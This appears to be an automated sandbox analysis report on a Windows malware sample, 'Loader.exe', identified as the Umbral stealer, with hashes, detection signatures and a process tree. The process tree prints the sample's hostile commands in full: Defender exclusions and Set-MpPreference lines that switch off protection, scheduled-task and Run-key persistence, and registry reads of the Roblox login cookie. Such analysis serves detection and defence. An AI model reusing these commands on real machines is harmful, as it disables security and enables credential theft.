Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
19/08/2026, 19:55
Static task
static1
Behavioral task
behavioral1
Sample
Loader.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Loader.exe
Resource
win11ltsc2024-20260709-en
General
- Target Loader.exe
- Size 1.1MB
- Sample260819-ym3pcsvthv
- SHA256 5ddd88a2e01fd173974d45eea41d6835ea1e0e6f89ff3165f2b49b256963961c
- MD5 c525491a369b3d926183c5ed3533a5d9
- SHA1 365a5301bab12a7512d636a415c3fca3cf568e3d
- SHA512 5e73fbf150cd593a64fb3656dfab157bbafefe3aaa1cae71cf6b5f4b6ebd3c585ff184c82165936256134d06b220c6f22b91e83caf8d2eb3cfa0f2f420620439
- SSDEEP 24576:NpbdQQqZl8nmoiCqOKGnTpPs9xYo3wxoVrHUgZ:rR5qZ6m0nTpPsPy+jr
- TLSH T1583512CCB52472EED957C032CAD85C68AA50BC77831B5607A8AB106DAD4DCC7DF291F2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/files/0x000e00000001c452-20.dat disable_win_def behavioral2/memory/5040-29-0x0000026D9B070000-0x0000026D9B0E8000-memory.dmp disable_win_def - Detects Umbral payload 4 IoCs
resource yara_rule behavioral2/files/0x000e00000001c452-20.dat family_umbral behavioral2/files/0x000e00000001c452-20.dat family_umbral_obfuscated behavioral2/memory/5040-29-0x0000026D9B070000-0x0000026D9B0E8000-memory.dmp family_umbral behavioral2/memory/5040-29-0x0000026D9B070000-0x0000026D9B0E8000-memory.dmp family_umbral_obfuscated - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5588 powershell.exe 680 powershell.exe 2812 powershell.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 680 powershell.exe - Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
pid Process 680 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 5076 affe_loader.exe 5040 RuntimeBroker.exe 824 RuntimeBroker.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Windows\CurrentVersion\Run\ZxumSDs6 = "\"C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker.exe\"" RuntimeBroker.exe - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
resource yara_rule behavioral2/memory/5996-1-0x0000000000770000-0x0000000000894000-memory.dmp ConfuserEx - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3408 schtasks.exe 4800 schtasks.exe - Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 5244 powershell.exe 5244 powershell.exe 5244 powershell.exe 5588 powershell.exe 5588 powershell.exe 5588 powershell.exe 680 powershell.exe 680 powershell.exe 680 powershell.exe 2812 powershell.exe 2812 powershell.exe 2812 powershell.exe 2312 powershell.exe 2312 powershell.exe 2312 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5076 affe_loader.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 5244 powershell.exe Token: SeDebugPrivilege 5588 powershell.exe Token: SeIncreaseQuotaPrivilege 5244 powershell.exe Token: SeSecurityPrivilege 5244 powershell.exe Token: SeTakeOwnershipPrivilege 5244 powershell.exe Token: SeLoadDriverPrivilege 5244 powershell.exe Token: SeSystemProfilePrivilege 5244 powershell.exe Token: SeSystemtimePrivilege 5244 powershell.exe Token: SeProfSingleProcessPrivilege 5244 powershell.exe Token: SeIncBasePriorityPrivilege 5244 powershell.exe Token: SeCreatePagefilePrivilege 5244 powershell.exe Token: SeBackupPrivilege 5244 powershell.exe Token: SeRestorePrivilege 5244 powershell.exe Token: SeShutdownPrivilege 5244 powershell.exe Token: SeDebugPrivilege 5244 powershell.exe Token: SeSystemEnvironmentPrivilege 5244 powershell.exe Token: SeRemoteShutdownPrivilege 5244 powershell.exe Token: SeUndockPrivilege 5244 powershell.exe Token: SeManageVolumePrivilege 5244 powershell.exe Token: 33 5244 powershell.exe Token: 34 5244 powershell.exe Token: 35 5244 powershell.exe Token: 36 5244 powershell.exe Token: SeIncreaseQuotaPrivilege 5588 powershell.exe Token: SeSecurityPrivilege 5588 powershell.exe Token: SeTakeOwnershipPrivilege 5588 powershell.exe Token: SeLoadDriverPrivilege 5588 powershell.exe Token: SeSystemProfilePrivilege 5588 powershell.exe Token: SeSystemtimePrivilege 5588 powershell.exe Token: SeProfSingleProcessPrivilege 5588 powershell.exe Token: SeIncBasePriorityPrivilege 5588 powershell.exe Token: SeCreatePagefilePrivilege 5588 powershell.exe Token: SeBackupPrivilege 5588 powershell.exe Token: SeRestorePrivilege 5588 powershell.exe Token: SeShutdownPrivilege 5588 powershell.exe Token: SeDebugPrivilege 5588 powershell.exe Token: SeSystemEnvironmentPrivilege 5588 powershell.exe Token: SeRemoteShutdownPrivilege 5588 powershell.exe Token: SeUndockPrivilege 5588 powershell.exe Token: SeManageVolumePrivilege 5588 powershell.exe Token: 33 5588 powershell.exe Token: 34 5588 powershell.exe Token: 35 5588 powershell.exe Token: 36 5588 powershell.exe Token: SeDebugPrivilege 680 powershell.exe Token: SeDebugPrivilege 2812 powershell.exe Token: SeDebugPrivilege 2312 powershell.exe Token: SeSecurityPrivilege 3224 msiexec.exe Token: SeDebugPrivilege 5040 RuntimeBroker.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 5076 affe_loader.exe 3224 msiexec.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5996 wrote to memory of 5244 5996 Loader.exe 89 PID 5996 wrote to memory of 5076 5996 Loader.exe 91 PID 5996 wrote to memory of 5040 5996 Loader.exe 92 PID 5040 wrote to memory of 5588 5040 RuntimeBroker.exe 93 PID 5040 wrote to memory of 680 5040 RuntimeBroker.exe 96 PID 5040 wrote to memory of 3408 5040 RuntimeBroker.exe 98 PID 5040 wrote to memory of 4800 5040 RuntimeBroker.exe 100 PID 5040 wrote to memory of 2812 5040 RuntimeBroker.exe 104 PID 5040 wrote to memory of 2312 5040 RuntimeBroker.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAZAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAaAB1ACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5244
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C:\Users\Admin\AppData\Roaming\affe_loader.exe"C:\Users\Admin\AppData\Roaming\affe_loader.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5076
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C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5588
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:680
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "ZxumSDs6" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:3408
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C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "ZxumSDs6_svc" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc minute /mo 5 /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:4800
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2812
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2312
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C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"1⤵
- Executes dropped EXE
PID:824
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3224
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify Tools
2Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
- MD5 81b56f1dad28119d54bf23c83fc570b9
- SHA1 cb9a89a716465611149ce3c700bd60681d434faf
- SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
- TLSH T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 06ed276ac8635731360642d55b735d02948f8bd9736bc0d6cb07b0cd4c4ae527
- MD5 58ceb6ed6add6bc9da167717c36ac2a2
- SHA1 e9da38128f0e53dd6d658ecabac185d80bb83bc0
- SHA512 7a50315d9568d1892bee7c34fe6800d7f58a277af21099ef208d534b28f4af9b4493a7c15440db14cc916aa238835130c08ce743cd40c2058d4da4084f95f5e0
- TLSH T1DD116633F3CC8628DC59403650CEAD1137B687CB40DECEAB7B80D154B46F689DEA0160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
- MD5 c104f03b2b4f3402a8cad00e56679300
- SHA1 e1d3b9ab2d030f209415f08f5a8c3906bb5c86db
- SHA512 d6e259d5aecf849e0b812f786147f10cfb7971150c06d1319d6907093c09ffb05f4a5559fbf4850a5f8dd99f00e9c06b994e9677baa707d549eb65a2042c9eb2
- TLSH T182215333F3CC8624CC9A403A50CEAC1036B687DB419EDFABBB84D155A43F699DE61260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxp1ts5e.usl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
- Size 458KB
- SHA256 059344941a9b0949c40ed3c0aafc6d3d4fee8de37c638be8d59c2a0156f79d91
- MD5 b6114f51453005dc6fd7c49925ebaf1c
- SHA1 355ccc27beae8e50c3ea00e72560af019f17bf5e
- SHA512 6f6d1fc9063cd6247f7dd206eb1889b47b1db1676c833091da6a04df43342c848f525cb43968d3be922f06c266c5ec7d74f2a5fba6ce4342a7c675a80e77158d
- SSDEEP 6144:pANDNvB4JAVSGuZDZAIuIW9pNnJznCGJ98beB/0XDGNTQy4R:pAHcGuZDZMDB/iy
- TLSH T194A44A9057F8D942F1BF5BB4747019AE8B73F603E9A9F74E068C41D80AA3B42D940B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\affe_loader.exe
- Size 599KB
- SHA256 e2a4bf39121b8e6c1aa71510297e40d7a008301d53f2209d302f1fd6e072d9b5
- MD5 fd5685408b0fa1c4f1d5ebb8c276f7fc
- SHA1 a6bc1de115ddecc7d446b4d55cc0d2d0e0d6f1dc
- SHA512 4c4d4215af7955db30eb3da76504ffcd60dbe9345172409afb13fd68b8bc7972a3a6a033253e577871b1864c6cf54d98cc56bfb3fee64cb5d0cc52fc1741cba6
- SSDEEP 12288:ypvrHIGev7yaY0stSpUtqSBAq/aPViYOSHYisn4903JLxdZ:2rHIXrOvA+adie4isnf3lx
- TLSH T1A8D4BF86B2F441F8D03BD239D695A61BFA76344417208ADB13E4455A3FA33E05BBF722
- MD5 SHA1 SHA512 SSDEEP TLSH